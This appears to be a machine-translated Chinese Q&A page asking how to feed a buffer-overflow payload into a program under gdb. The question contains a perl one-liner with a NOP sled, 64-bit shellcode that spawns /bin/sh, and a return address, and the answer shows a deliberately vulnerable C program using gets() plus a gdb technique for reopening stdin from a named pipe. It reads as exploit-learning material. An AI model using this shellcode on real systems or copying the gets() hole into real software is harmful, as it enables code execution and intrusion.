2014-03-28 34 views
0

我需要插入shellcode及其地址,但是我只能在gdb中運行程序後才能檢測到緩衝區的地址。如何在gdb中動態插入複雜輸入

輸入很複雜。如果我知道的地址,我會跑的程序是這樣的:

perl -e 'print "\x90" x 8152; 
print "\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05"; 
print "\x70\xa1\x4c\xa9\xff\x7f\x00\x00"' | a.out 

當第一次印刷是空指令,第二個是的shellcode(64位),最後打印是返回地址。爲了提高可讀性,我將輸入分爲三行。

我知道我通常需要猜測地址(並且多次運行此輸入),但是我不知道如何在運行程序(通過運行)後動態地插入這樣的輸入。

我搜索瞭解決方案,但沒有成功。輸入重定向對我來說不起作用,因爲我應該在程序運行之前重定向它,因此我看不到內存並檢測到返回地址的保存位置。

我也嘗試命名管道,但沒有成功。

我還試圖找到一種方法來獲取有關程序運行的內存的信息,然後在調試器中實際運行它之前。

任何意見將不勝感激。

回答

0

我只知道一個有點費力的方式,用命名管道關閉並在gdb中重新打開fd 0。

以下是節目中,我們將進行調試:

#include <stdio.h> 
int func(){ 
    char buf[128]; 
    gets(buf); 
    return 0; 
} 

int main(int argc, char *argv[]){ 
     func(); 
     return 0; 
} 

我們用gdb打開它,並在某個地址,以便我們需要收集的信息設置一個斷點:

$ gdb ./lol 
gdb$ br func 
Breakpoint 1 at 0x400501 
gdb$ r 
Breakpoint 1, 0x0000000000400501 in func() 
gdb$ x/x $esp 
... 

現在,如果我們有構建我們的輸入字符串,並準備將其提供給程序,我們打開一個新的外殼,創建一個命名管道,並派我們投入它:

​​

早在GDB我們現在已經接近FD 0(STDIN),然後打開我們的管道作爲FD 0:

gdb$ p close(0) 
$1 = 0x0 
gdb$ p open("/tmp/ourpipe",0600) 
$2 = 0x0 

如果我們現在繼續,我們的程序將讀取從管道傳來的數據:

gdb$ c 
Continuing. 

Program received signal SIGSEGV, Segmentation fault. 

gdb$ info frame 
Stack level 0, frame at 0x7fffffffdcc8: 
rip = 0x400517 in func; saved rip 0x4443424144434241 
called by frame at 0x7fffffffdcd8 
Arglist at 0x4443424144434241, args: 
Locals at 0x4443424144434241, Previous frame's sp is 0x7fffffffdcd0 
Saved registers: 
rip at 0x7fffffffdcc8 
gdb$ x/x 0x7fffffffdcc8 
0x7fffffffdcc8: 0x44434241